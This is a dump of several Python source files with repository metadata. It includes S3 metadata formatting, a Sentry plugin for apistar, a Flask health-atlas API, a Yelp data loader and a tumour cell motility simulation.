https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html logging_enabled_value = _get_error_or_exists_string( resource.metadata['LoggingEnabled']) website_value = _get_error_or_exists_string(resource.metadata['Website']) cors_value = _get_error_or_exists_string(resource.metadata['CORSRules']) encryption_value = _get_error_or_exists_string( resource.metadata['ServerSideEncryptionConfiguration']) lifecycle_configuration_value = _get_error_or_exists_string( resource.metadata['LifecycleConfiguration']) if isinstance(resource.metadata['Versioning'], errors.S3ApiError): versioning_enabled_value = resource.metadata['Versioning'] else: versioning_status = resource.metadata['Versioning'].get('Status') if versioning_status == 'Enabled': versioning_enabled_value = True elif versioning_status == 'Suspended': versioning_enabled_value = False else: versioning_enabled_value = None if isinstance(resource.metadata['Payer'], errors.S3ApiError): requester_pays_value = resource.metadata['Payer'] elif resource.metadata['Payer'] == 'Requester': requester_pays_value = True elif resource.metadata['Payer'] == 'BucketOwner': requester_pays_value = False else: requester_pays_value = None return ( '{bucket_url}:\n' '{location_constraint_line}' '{versioning_enabled_line}' '{logging_config_line}' '{website_config_line}' '{cors_config_line}' '{encryption_config_line}' '{lifecycle_config_line}' '{requester_pays_line}' '{acl_section}' ).format( bucket_url=resource.storage_url.versionless_url_string, location_constraint_line=resource_util.get_padded_metadata_key_value_line( 'Location Constraint', resource.metadata['LocationConstraint']), versioning_enabled_line=resource_util.get_padded_metadata_key_value_line( 'Versioning Enabled', versioning_enabled_value), logging_config_line=resource_util.get_padded_metadata_key_value_line( 'Logging Configuration', logging_enabled_value), website_config_line=resource_util.get_padded_metadata_key_value_line( 'Website Configuration', website_value), cors_config_line=resource_util.get_padded_metadata_key_value_line( 'CORS Configuration', cors_value), encryption_config_line=resource_util.get_padded_metadata_key_value_line( 'Encryption Configuration', encryption_value), lifecycle_config_line=resource_util.get_padded_metadata_key_value_line( 'Lifecycle Configuration', lifecycle_configuration_value), requester_pays_line=resource_util.get_padded_metadata_key_value_line( 'Requester Pays Enabled', requester_pays_value), # Remove ending newline character because this is the last list item. acl_section=_get_formatted_acl_section(resource.metadata['ACL'])[:-1]) def _get_full_object_metadata_string(resource): """Formats S3 resource metadata as string with rows. Args: resource (S3ObjectResource): Resource with metadata. Returns: Formatted multi-line string. """ # Hardcoded strings found in Boto docs: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html if 'LastModified' in resource.metadata: optional_time_updated_line = resource_util.get_padded_metadata_time_line( 'Update Time', resource.metadata['LastModified']) else: optional_time_updated_line = '' if 'StorageClass' in resource.metadata: optional_storage_class_line = resource_util.get_padded_metadata_key_value_line( 'Storage Class', resource.metadata['StorageClass']) else: optional_storage_class_line = '' if 'CacheControl' in resource.metadata: optional_cache_control_line = resource_util.get_padded_metadata_key_value_line( 'Cache-Control', resource.metadata['CacheControl']) else: optional_cache_control_line = '' if 'CacheDisposition' in resource.metadata: optional_content_disposition_line = resource_util.get_padded_metadata_key_value_line( 'Cache-Disposition', resource.metadata['CacheDisposition']) else: optional_content_disposition_line = '' if 'ContentEncoding' in resource.metadata: optional_content_encoding_line = resource_util.get_padded_metadata_key_value_line( 'Content-Encoding', resource.metadata['ContentEncoding']) else: optional_content_encoding_line = '' if 'ContentLanguage' in resource.metadata: optional_content_language_line = resource_util.get_padded_metadata_key_value_line( 'Content-Language', resource.metadata['ContentLanguage']) else: optional_content_language_line = '' if 'PartsCount' in resource.metadata: optional_component_count_line = ( resource_util.get_padded_metadata_key_value_line( 'Component-Count', resource.metadata['PartsCount'])) else: optional_component_count_line = '' if resource.md5_hash is not None: optional_md5_line = resource_util.get_padded_metadata_key_value_line( 'Hash (MD5)', resource.md5_hash) elif 'SSECustomerAlgorithm' in resource.metadata: optional_md5_line = resource_util.get_padded_metadata_key_value_line( 'Hash (MD5)', 'Underlying data encrypted') else: optional_md5_line = '' if 'SSECustomerAlgorithm' in resource.metadata: optional_encryption_algorithm_line = ( resource_util.get_padded_metadata_key_value_line( 'Encryption Algorithm', resource.metadata['SSECustomerAlgorithm'])) else: optional_encryption_algorithm_line = '' if resource.generation: optional_generation_line = resource_util.get_padded_metadata_key_value_line( 'Generation', resource.generation) else: optional_generation_line = '' return ( '{object_url}:\n' '{optional_time_updated_line}' '{optional_storage_class_line}' '{optional_cache_control_line}' '{optional_content_disposition_line}' '{optional_content_encoding_line}' '{optional_content_language_line}' '{content_length_line}' '{content_type_line}' '{optional_component_count_line}' '{optional_md5_line}' '{optional_encryption_algorithm_line}' '{etag_line}' '{optional_generation_line}' '{acl_section}' ' {incomplete_warning}').format( object_url=resource.storage_url.versionless_url_string, optional_time_updated_line=optional_time_updated_line, optional_storage_class_line=optional_storage_class_line, optional_cache_control_line=optional_cache_control_line, optional_content_disposition_line=optional_content_disposition_line, optional_content_encoding_line=optional_content_encoding_line, optional_content_language_line=optional_content_language_line, content_length_line=resource_util.get_padded_metadata_key_value_line( 'Content-Length', resource.size), content_type_line=resource_util.get_padded_metadata_key_value_line( 'Content-Type', resource.metadata.get('ContentType')), optional_component_count_line=optional_component_count_line, optional_md5_line=optional_md5_line, optional_encryption_algorithm_line=optional_encryption_algorithm_line, etag_line=resource_util.get_padded_metadata_key_value_line( 'ETag', resource.etag), optional_generation_line=optional_generation_line, acl_section=_get_formatted_acl_section(resource.metadata.get('ACL')), incomplete_warning=_INCOMPLETE_OBJECT_METADATA_WARNING) class S3BucketResource(resource_reference.BucketResource): """API-specific subclass for handling metadata.""" def get_full_metadata_string(self): return _get_full_bucket_metadata_string(self) def get_json_dump(self): return _get_json_dump(self) class S3ObjectResource(resource_reference.ObjectResource): """API-specific subclass for handling metadata.""" def __init__(self, storage_url_object, content_type=None, creation_time=None, etag=None, crc32c_hash=None, md5_hash=None, metadata=None, metageneration=None, size=None): """Initializes resource. Args are a subset of attributes.""" super(S3ObjectResource, self).__init__( storage_url_object, content_type=content_type, creation_time=creation_time, etag=etag, crc32c_hash=None, md5_hash=md5_hash, metadata=metadata, metageneration=metageneration, size=size) def get_full_metadata_string(self): return _get_full_object_metadata_string(self) def get_json_dump(self): return _get_json_dump(self)

0

1,152

0

54

68

d66df52d49ff61c5175e83fab8cd02546b04169c

1,982

py

Python

apistar_sentry.py

LeadPages/apistar_sentry

f718784b256399ae04f4e8bf82b177f9cc3b1008

[ "MIT" ]

2

2018-06-10T14:37:04.000Z

2018-06-16T22:33:46.000Z

apistar_sentry.py

LeadPages/apistar_sentry

f718784b256399ae04f4e8bf82b177f9cc3b1008

[ "MIT" ]

3

2020-03-24T17:19:55.000Z

2021-02-02T22:08:44.000Z

apistar_sentry.py

LeadPages/apistar_sentry

f718784b256399ae04f4e8bf82b177f9cc3b1008

[ "MIT" ]

1

2018-04-16T18:44:33.000Z

__version__ = "0.2.0"

26.426667

72

0.590817

import typing from apistar import Settings from apistar.interfaces import Auth from apistar.types import ReturnValue from raven import Client __version__ = "0.2.0" class Sentry: def __init__(self, settings: Settings) -> None: self.client = Client( settings["SENTRY_DSN"], environment=settings["ENVIRONMENT"], release=settings["VERSION"], ) @classmethod def setup(cls, settings: Settings) -> typing.Optional["Sentry"]: if settings.get("SENTRY_DSN"): return cls(settings) return None @classmethod def setup_celery(cls, settings: Settings) -> None: from raven.contrib import celery as raven_celery sentry = cls(settings) raven_celery.register_logger_signal(sentry.client) raven_celery.register_signal(sentry.client) def track(self, auth: Auth) -> None: self.client.context.activate() if auth is not None: self.client.context.merge({ "user": { "id": auth.get_user_id(), "name": auth.get_display_name(), "authenticated": auth.is_authenticated(), } }) def clear(self) -> None: self.client.context.clear() def capture_exception(self) -> None: self.client.captureException() class SentryMixin: def exception_handler(self, exc: Exception, sentry: Sentry) -> None: try: return super().exception_handler(exc) except Exception: if sentry is not None: try: sentry.capture_exception() finally: sentry.clear() raise def before_request(auth: Auth, sentry: Sentry) -> None: if sentry is not None: sentry.track(auth) def after_request(sentry: Sentry, ret: ReturnValue) -> ReturnValue: if sentry is not None: sentry.clear() return ret

0

398

0

1,123

0

199

0

32

203

460ed8df205faa3ecff6b37fb600ecfce371a297

7,121

py

Python

app.py

tanasijevich/project3

cd4870727e31bad47868625a59a565f4b96d80a5

[ "MIT" ]

null

app.py

tanasijevich/project3

cd4870727e31bad47868625a59a565f4b96d80a5

[ "MIT" ]

null

app.py

tanasijevich/project3

cd4870727e31bad47868625a59a565f4b96d80a5

[ "MIT" ]

null

# import necessary libraries # from models import create_classes from sqlalchemy.ext.automap import automap_base from sqlalchemy import create_engine from flask import (Flask) # Read data from csv #csv_file = "data/Chicago Health Atlas.csv" #df = pd.read_csv(csv_file) #df.head() #df.rename(columns={"VRDIBR_2015-2019":"VRDIBR_2015_2019","VRDIAR_2015-2018":"VRDIAR_2015_2018","VRDTH_2015-2019":"VRDTH_2015_2019","VRCAR_2015-2019":"VRCAR_2015_2019","VRADR_2015-2019":"VRADR_2015_2019","HDX_2015-2019":"HDX_2015_2019"},inplace=True) #creating sqlite engine to create database #engine = create_engine('sqlite:///data/Chicago_Health_database.db') #engine = create_engine('sqlite:///C:/Users/doyel/Desktop/project3_flask_ex1/data/mydatabase.db') #Table name : Chicago_Health_Atlas #df.to_sql('Chicago_Health_Atlas',con=engine,if_exists='replace') ##################################################################### engine = create_engine("sqlite:///data/mydatabase.db") # reflect an existing database into a new model Base = automap_base() # reflect the tables Base.prepare(engine, reflect=True) # Save reference to the table print(Base.classes.keys()) Healthatlas = Base.classes.healthatlas #Actors = Base.classes.actors ################################################# # Flask Setup ################################################# app = Flask(__name__) # --------------------------------------------------------- # Web site # --------------------------------------------------------- # API to call "when data.html" page is loading with community information table # API to call when a disease is selectd from list by user in "data.html" page if __name__ == "__main__": app.run()

42.136095

576

0.72869

# import necessary libraries # from models import create_classes import pandas as pd import os import sqlalchemy from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine, func from sqlite3 import connect import json from flask import ( Flask, render_template, jsonify, request, redirect, jsonify) # Read data from csv #csv_file = "data/Chicago Health Atlas.csv" #df = pd.read_csv(csv_file) #df.head() #df.rename(columns={"VRDIBR_2015-2019":"VRDIBR_2015_2019","VRDIAR_2015-2018":"VRDIAR_2015_2018","VRDTH_2015-2019":"VRDTH_2015_2019","VRCAR_2015-2019":"VRCAR_2015_2019","VRADR_2015-2019":"VRADR_2015_2019","HDX_2015-2019":"HDX_2015_2019"},inplace=True) #creating sqlite engine to create database #engine = create_engine('sqlite:///data/Chicago_Health_database.db') #engine = create_engine('sqlite:///C:/Users/doyel/Desktop/project3_flask_ex1/data/mydatabase.db') #Table name : Chicago_Health_Atlas #df.to_sql('Chicago_Health_Atlas',con=engine,if_exists='replace') ##################################################################### engine = create_engine("sqlite:///data/mydatabase.db") # reflect an existing database into a new model Base = automap_base() # reflect the tables Base.prepare(engine, reflect=True) # Save reference to the table print(Base.classes.keys()) Healthatlas = Base.classes.healthatlas #Actors = Base.classes.actors ################################################# # Flask Setup ################################################# app = Flask(__name__) # --------------------------------------------------------- # Web site @app.route("/") def home(): return render_template("index.html") @app.route("/data.html") def data(): return render_template("data.html") @app.route("/templates/map.html") def map(): return render_template("map.html") @app.route("/templates/d3_chart.html") def d3_chart(): return render_template("d3_chart.html") # --------------------------------------------------------- # API to call "when data.html" page is loading with community information table @app.route("/api/community") def community_grid(): session = Session(engine) results = session.query(Healthatlas.Name,Healthatlas.Median_Household_Income,Healthatlas.Poverty_Rate,Healthatlas.Receiving_Food_Stamps,Healthatlas.Public_Assistance_Income,Healthatlas.High_School_Grad_Rate, Healthatlas.College_Grad_Rate,Healthatlas.Non_Hispanic_White,Healthatlas.Non_Hispanic_Black,Healthatlas.Asian_Pacific_Islander,Healthatlas.Hispanic_or_Latino,Healthatlas.Population_All,Healthatlas.Population_Infants,Healthatlas.Population_Juveniles,Healthatlas.Population_Young_Adults,Healthatlas.Population_Middle_Aged_Adults,Healthatlas.Population_Seniors).all() #results = session.query(Healthatlas.Name,Healthatlas.GEOID, Healthatlas.Population,Healthatlas.Longitude, Healthatlas.Latitude).all() #results = pd.read_sql('SELECT Name,GEOID,Population,Longitude,Latitude FROM Chicago_Health_Atlas', engine) #results = engine.execute("SELECT Name,GEOID,Population,Longitude,Latitude FROM Chicago_Health_Atlas").fetchall() #session.query(Movies.title, Movies.director, Movies.year, Movies.rating, Movies.imdb_votes, Movies.imdb_score).all() results = [list(r) for r in results] table_results = { "table": results } session.close() return jsonify(table_results) # API to call when a disease is selectd from list by user in "data.html" page @app.route("/api/deceases/<decease>") def deceases(decease): session = Session(engine) if decease == "diabetes": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRDIAR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() elif decease == "diabetes_related": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRDIBR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018 ).all() elif decease == "alzheimer": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRADR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() elif decease == "cancer": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRCAR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() elif decease == "hypertension": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.HCSHYTP_2016_2018, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() elif decease == "adult_obesity": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.HCSOBP_2016_2018, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() elif decease == "coronary_heart_disease": results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRCHDR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() #elif decease == "all" : # results = session.query(Healthatlas.Name, Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRDTH_2015_2019, Healthatlas.HDX_2015_2019).all() else: results = session.query(Healthatlas.Name,Healthatlas.Population_All, Healthatlas.Longitude, Healthatlas.Latitude, Healthatlas.VRADR_2015_2019, Healthatlas.HDX_2015_2019, Healthatlas.HCSSP_2016_2018, Healthatlas.HCSSMKP_2016_2018).all() results = [list(r) for r in results] name = [result[4] for result in results] hardship = [result[5] for result in results] soda = [result[6] for result in results] smoke = [result[7] for result in results] decease_results = { "decease_name": name, "hd_index": hardship, "soda_con":soda, "smoking":smoke, } session.close() return jsonify(decease_results) @app.route("/api/geojson") def map_data(): with open('data/geo.json', 'r') as file: your_data = json.loads(file.read()) # print(your_data) return jsonify(your_data) @app.route('/api/d3_chart/<field_x>/<field_y>') def d3_chart_api(field_x, field_y): session = Session(engine) x_column = getattr(Healthatlas, field_x) y_column = getattr(Healthatlas, field_y) results = session.query(x_column, y_column).all() results = [list(r) for r in results] session.close() return jsonify(results) if __name__ == "__main__": app.run()

0

5,028

0

76

314

e202b3b1b0dd6517b189261d661038ca7be2cad9

2,377

py

Python

lambda/extract_yelp/extract.py

Rdbaker/barfinder

63c75dc99f2371371aa8072078175558d1917864

[ "BSD-3-Clause" ]

null

lambda/extract_yelp/extract.py

Rdbaker/barfinder

63c75dc99f2371371aa8072078175558d1917864

[ "BSD-3-Clause" ]

null

lambda/extract_yelp/extract.py

Rdbaker/barfinder

63c75dc99f2371371aa8072078175558d1917864

[ "BSD-3-Clause" ]

null

import logging from models import business as Business logging.getLogger().setLevel(logging.INFO) def business_exists(yelp_id, conn): """Return True if the business exists.""" return conn.execute(Business.select().where(Business.c.yelp_id == yelp_id))\ .first() is not None def delete_business(yelp_id, conn): """Delete the business with the given yelp id.""" return conn.execute(Business.delete().where(Business.c.yelp_id == yelp_id))

32.561644

80

0.640303

import logging from models import tag as Tag, business as Business, business_tag_join_table logging.getLogger().setLevel(logging.INFO) def parse_yelp_business(business): return { 'source': 'yelp', 'raw_yelp_data': business, 'yelp_id': business.get('id'), 'name': business.get('name', 'UNKNOWN'), 'price': len(business.get('price', '')), 'latitude': business.get('coordinates', {}).get('latitude'), 'longitude': business.get('coordinates', {}).get('longitude'), 'phone': business.get('phone'), } def business_exists(yelp_id, conn): """Return True if the business exists.""" return conn.execute(Business.select().where(Business.c.yelp_id == yelp_id))\ .first() is not None def delete_business(yelp_id, conn): """Delete the business with the given yelp id.""" return conn.execute(Business.delete().where(Business.c.yelp_id == yelp_id)) def tag_exists(alias, conn): return conn.execute(Tag.select().where(Tag.c.alias == alias))\ .first() is not None def create_tag(tag, conn): conn.execute(Tag.insert().values(**tag)) def get_or_create_tags(tags, conn): names = [] for tag in tags: if not tag_exists(tag['alias'], conn): create_tag(tag, conn) names.append(tag['alias']) return conn.execute(Tag.select().where(Tag.c.alias.in_(names))).fetchall() def create_business(business, conn): conn.execute(Business.insert().values(**business)) return conn.execute(Business.select().where(Business.c.yelp_id == business['yelp_id'])).first() def link_business_to_tags(business, tags, conn): for tag in tags: conn.execute( business_tag_join_table.insert().values(tag_id=tag.id, business_id=business.id)) def extract_business(business_dict, engine): conn = engine.connect() if business_exists(business_dict['id'], conn): delete_business(business_dict['id'], conn) business = parse_yelp_business(business_dict) tags = get_or_create_tags(business_dict['categories'], conn) business = create_business(business, conn) link_business_to_tags(business, tags, conn) logging.info('successfully processed business: {}' .format(business_dict['id']))

0

1,706

0

37

161

5ddcfbd5c5a68beee52f20bf25f10cc164269d23

14,652

py

Python

doubling_agent/motility_functions.py

lkmartin90/doubling_agent

73a7f06aa43c5fa51ea1263b72ebe6f8319bf894

[ "MIT" ]

1

2020-12-03T15:47:24.000Z

doubling_agent/motility_functions.py

lkmartin90/doubling_agent

73a7f06aa43c5fa51ea1263b72ebe6f8319bf894

[ "MIT" ]

null

doubling_agent/motility_functions.py

lkmartin90/doubling_agent

73a7f06aa43c5fa51ea1263b72ebe6f8319bf894

[ "MIT" ]

null

### # Broadly the same as "basic_functions.py" but updated to include motility # intentionally trying to keep them separate so as not to slow down the basic version ###

36.35732

115

0.574597

from random import random from random import choice import numpy as np import plotly.express as px import struct import operator ### # Broadly the same as "basic_functions.py" but updated to include motility # intentionally trying to keep them separate so as not to slow down the basic version ### class MotilityParameters: def __init__(self, switch_to_m_rate, switch_to_p_rate, motility_rate): # 0 motility state is proliferating, 1 is moving self.m = switch_to_m_rate self.p = switch_to_p_rate self.rate = motility_rate self.dict = {0: switch_to_m_rate, 1: switch_to_p_rate + motility_rate} class ParametersBasic: def __init__(self, s_division_rate, epsilon, p_division_rate, apoptosis_rate): self.s = s_division_rate self.p = p_division_rate self.e = epsilon self.a = apoptosis_rate self.dict = {0: s_division_rate, 1: p_division_rate, 2: apoptosis_rate} self.death = {0: 0, 1: 0, 2: apoptosis_rate} class ParametersQuiescent: def __init__(self, k1, k2, k3, k4, k5, k6, k7, k8): # s>s+s :k1, s>s+p:k2, s>dead:k3, p>p+p:k4, p>dead:k5, p>Q:k6, D>dead:k7, Q>s:k8 self.k1 = k1 self.k2 = k2 self.k3 = k3 self.k4 = k4 self.k5 = k5 self.k6 = k6 self.k7 = k7 self.k8 = k8 # rate of something happening for each state # note the slight change in notation, 0 is stem cell, 1 progenitor, 2 differentiated and 3 quiescent self.dict = {0: k1+k2+k3, 1: k4+k5+k6, 2: k7, 3: k8} self.death = {0: k3, 1: k5, 2: k7, 3: 0} def cancer_seed_single(cells, switch_3d): # created initial cancer stem cell at [0,0] if switch_3d: cells.update({(0, 0, 0): [0, 0, 0]}) else: cells.update({(0,0): [0, 0, 0]}) def cancer_seed_single_quiescent(cells): # created initial cancer cell (differentiated) at [0,0] cells.update({(0,0): [3, 0, 0]}) def cancer_seed_single_progen(cells): # created initial cancer cell (differentiated) at [0,0] cells.update({(0,0): [1, 0, 0]}) def timing_update_all(cells, params, mot_params): # update second entry in dict to give a timing based on the first entry, the state # time is log(1/rand_no)/rate # Now want to account for fact that cells can either change motility state or move or divide # options: # motility state 1: can either move, change motility state, or die # motility state 0: can either change motility state or go though all division choices # including death (already written) for k in cells.keys(): state = cells.get(k)[0] mot = cells.get(k)[2] div = params.dict[state] # division or death rate for motility 0 m_or_c = mot_params.dict[mot] # move or change rate mot_death = params.death[state] # death rate for motility state 1 if mot == 0: rate = div+m_or_c else: rate = m_or_c + mot_death cells.update({k: [state, np.log(1/random())/rate, mot]}) def choose_new_pos(pos, cells): # Identifies a free position for a cell to divide or move into. In this function a 2d square grid is used # space is searched for in the surrounding area, by random number generator, if there is already a cell # occupying the space then that space is excluded from possible locations and a new random number is generated. i = pos[0] j = pos[1] neighbours = [(i+1, j), (i-1, j), (i, j-1), (i, j+1)] options = [0, 1, 2, 3] cont = 0 new_pos = 0 while cont == 0 and len(options) > 0: pick = choice(options) check = neighbours[pick] if check in cells: options.remove(pick) else: cont = 1 new_pos = check return new_pos def choose_new_pos_eq(pos, cells): # choses a new position by identifying all the free spaces first and then assigning them all equal probability i = pos[0] j = pos[1] neighbours = [(i+1, j), (i-1, j), (i, j-1), (i, j+1)] options = [0, 1, 2, 3] for n in range(len(neighbours)): if neighbours[n] in cells: options.remove(n) if len(options) > 0: new_pos = neighbours[choice(options)] else: new_pos = 0 return new_pos def choose_new_pos_3d(pos, cells): # 3d version of "choose_new_pos", the same method is used i = pos[0] j = pos[1] k = pos[2] # this currently assumes only square transitions on the cubic grid, may want to alter neighbours = [(i + 1, j, k), (i - 1, j, k), (i, j + 1, k), (i, j - 1, k), (i, j, k + 1), (i, j, k - 1)] options = [0, 1, 2, 3, 4, 5] cont = 0 new_pos = 0 while cont == 0 and len(options) > 0: pick = choice(options) check = neighbours[pick] if check in cells: options.remove(pick) else: cont = 1 new_pos = check return new_pos def choose_new_pos_3d_eq(pos, cells): # 3d version of "choose_new_pos", the same method is used i = pos[0] j = pos[1] k = pos[2] # this currently assumes only square transitions on the cubic grid, may want to alter neighbours = [(i + 1, j, k), (i - 1, j, k), (i, j + 1, k), (i, j - 1, k), (i, j, k + 1), (i, j, k - 1)] options = [0, 1, 2, 3, 4, 5] cont = 0 new_pos = 0 while cont == 0 and len(options) > 0: pick = choice(options) check = neighbours[pick] if check in cells: options.remove(pick) else: cont = 1 new_pos = check return new_pos def move_cell(cells, pos, state, switch_3d): # moves the cell if switch_3d: new_location = choose_new_pos_3d(pos, cells) else: new_location = choose_new_pos(pos, cells) if new_location != 0: del cells[pos] cells.update({new_location: [state, 0, 1]}) def update_cell_basic(cells, pos, params, switch_3d, mot_params): # updates a given cell based on the current state of that cell # pos is string describing position # time is from random number generator giving time of interaction # cells is dict describing all cells in the tumour state = cells.get(pos)[0] mot = cells.get(pos)[2] # Once motility is included first thing is to make a decision on whether the cell moves, divides, or switches # to a different motility state. Need to check that an appropriate time step is being used still. mot_check = random() if mot == 1: # Can move, cell can either switch motility state or move or die if mot_check < mot_params.p/(mot_params.dict.get(mot) + params.death.get(state)): # then the motilty state changes cells.update({pos: [state, 0, abs(mot-1)]}) elif mot_check < mot_params.dict.get(mot)/(mot_params.dict.get(mot) + params.death.get(state)): # The cell moves move_cell(cells, pos, state, switch_3d) else: # cell death del cells[pos] else: # No motility, can either switch state or go to division decisions if mot_check < mot_params.m/(mot_params.dict.get(mot) + params.dict.get(state)): # then the motilty state changes cells.update({pos: [state, 0, abs(mot - 1)]}) # The cell divides or dies, can ust move on to that section as we have already conditioned on the # probability of it happening else: if switch_3d: daughter = choose_new_pos_3d(pos, cells) else: daughter = choose_new_pos(pos, cells) if state == 0: # if it's a stem cell there are 2 possibilities, S > S + S, S > S + P # generate random number to determine fate, compare to epsilon r_num = random() if r_num < params.e: # divide > S + S if daughter != 0: cells.update({daughter: [0, 0, 0]}) else: # divide > S + P if daughter != 0: cells.update({daughter: [1, 0, 0]}) elif state == 1: # if it's a progentior cell there are 2 possibilities, P > P + P, P > D # generate random number to determine fate, start by assuming each happens with equal chance r_num = random() if r_num < 0.5: # P > P + P if daughter != 0: cells.update({daughter: [1, 0, 0]}) else: # P > D cells.update({pos: [2, 0, 0]}) else: # If it is differentiated cell the only possible state change is death del cells[pos] def update_cell_quiescent(cells, pos, params, switch_3d, mot_params): # updates a given cell based on the current state of that cell # pos is string describing position # time is from random number generator giving time of interaction # cells is dict describing all cells in the tumour state = cells.get(pos)[0] mot = cells.get(pos)[2] # Once motility is included first thing is to make a decision on whether the cell moves, divides, or switches # to a different motility state. Need to check that an appropriate time step is being used still. mot_check = random() if mot == 1: # Can move, cell can either switch motility state or move or die if mot_check < mot_params.p / (mot_params.dict.get(mot) + params.death.get(state)): # then the motilty state changes cells.update({pos: [state, 0, abs(mot - 1)]}) elif mot_check < mot_params.dict.get(mot) / (mot_params.dict.get(mot) + params.death.get(state)): # The cell moves move_cell(cells, pos, state, switch_3d) else: # cell death del cells[pos] else: # No motility, can either switch state or go to division decisions if mot_check < mot_params.m / (mot_params.dict.get(mot) + params.dict.get(state)): # then the motilty state changes cells.update({pos: [state, 0, abs(mot - 1)]}) else: if switch_3d: daughter = choose_new_pos_3d(pos, cells) else: daughter = choose_new_pos(pos, cells) if state == 0: # if it's a stem cell there are 3 possibilities, S > S + S, S > S + P and S > dead # generate random number to determine fate r_num = random() if r_num < params.k1/params.dict.get(0): # divide > S + S if daughter != 0: cells.update({daughter: [0, 0, 0]}) elif r_num < (params.k1+params.k2)/params.dict.get(0): # divide > S + P if daughter != 0: cells.update({daughter: [1, 0, 0]}) else: # die del cells[pos] elif state == 1: # if it's a progentior cell there are 3 possibilities, P > P + P, P > D, P > Q # generate random number to determine fate r_num = random() if r_num < params.k4/params.dict.get(1): # P > P + P if daughter != 0: cells.update({daughter: [1, 0, 0]}) elif r_num < (params.k4+params.k5)/params.dict.get(1): # P > D cells.update({pos: [2, 0, 0]}) else: # P > Q cells.update({pos: [3, 0, 0]}) elif state == 2: # If it is differentiated cell the only possible state change is death del cells[pos] else: # If its Quiescent the only possible fate is to return to a stem cell cells.update({pos: [0, 0, 0]}) def animate(animation_df, r, name): # animate the simulations using plotly and save as a .html animation_df['coord'] = animation_df[['x', 'y']].values.tolist() animation_df['coord'] = animation_df['coord'].apply(lambda x: np.array(x)) #print(animation_df) if len(animation_df['coord'].values[0]) > 2: print("currently cannot animate for 3d") raise ValueError() mapping = {0: 'stem cell', 1: 'progenitor cell', 2: 'differentiated cell', 3: 'quiescent cell'} animation_df = animation_df.replace({'state': mapping}) animation_df = animation_df.append( {'state': 'differentiated cell', 'count': 0, 'coord': 0, 'x': 10000, 'y': 10000}, ignore_index=True) animation_df = animation_df.append( {'state': 'progenitor cell', 'count': 0, 'coord': 0, 'x': 10000, 'y': 10000}, ignore_index=True) animation_df = animation_df.append( {'state': 'quiescent cell', 'count': 0, 'coord': 0, 'x': 10000, 'y': 10000}, ignore_index=True) fig = px.scatter(animation_df, x="x", y="y", animation_frame="count", color='state', size_max=55, range_x=[-50, 50], range_y=[-50, 50]) fig.update_traces(marker=dict(size=12)) fig.layout.updatemenus[0].buttons[0].args[1]["frame"]["duration"] = 20 fig.show() fig.write_html(name + '/ani_' + str(r) + '.html') def read_from_file(file_name, switch_3d): # read data from binary file in the form: time step, x, y, state, motility if switch_3d: struct_fmt = '=iiiiii' # 6 ints else: struct_fmt = '=iiiii' # 5 ints struct_len = struct.calcsize(struct_fmt) struct_unpack = struct.Struct(struct_fmt).unpack_from results = [] with open(file_name, "rb") as f: while True: data = f.read(struct_len) if not data: break s = struct_unpack(data) results.append(s) return results def calculate_timestep(params, mot_params): # calculates timestep based on the probability of 2 or more events happening in a timestep (<0.01) max_rate = max(params.dict.items(), key=operator.itemgetter(1))[1] + \ max(mot_params.dict.items(), key=operator.itemgetter(1))[1] # playing it safe by summing max of each lambert = 0.135157 step = lambert/max_rate print('exact timestep from calculation', step) if step > 0.1: return step // 0.1 * 0.1 elif step > 0.01: return step // 0.01 * 0.01 else: return step // 0.001 * 0.001

0

1,247

0

12,698

0

-3

523

7c713c20032eec8a8f8dbf77f8cd9a9bca904c31

1,454

py

Python

TSP.py

ccfelius/TravelingSalesMan

ebc3b960859590623c0eb301545cd093c41d157a

[ "MIT" ]

1

2020-12-10T17:36:39.000Z

TSP.py

ccfelius/TravelingSalesMan

ebc3b960859590623c0eb301545cd093c41d157a

[ "MIT" ]

null

TSP.py

ccfelius/TravelingSalesMan

ebc3b960859590623c0eb301545cd093c41d157a

[ "MIT" ]

1

2021-01-05T13:08:07.000Z

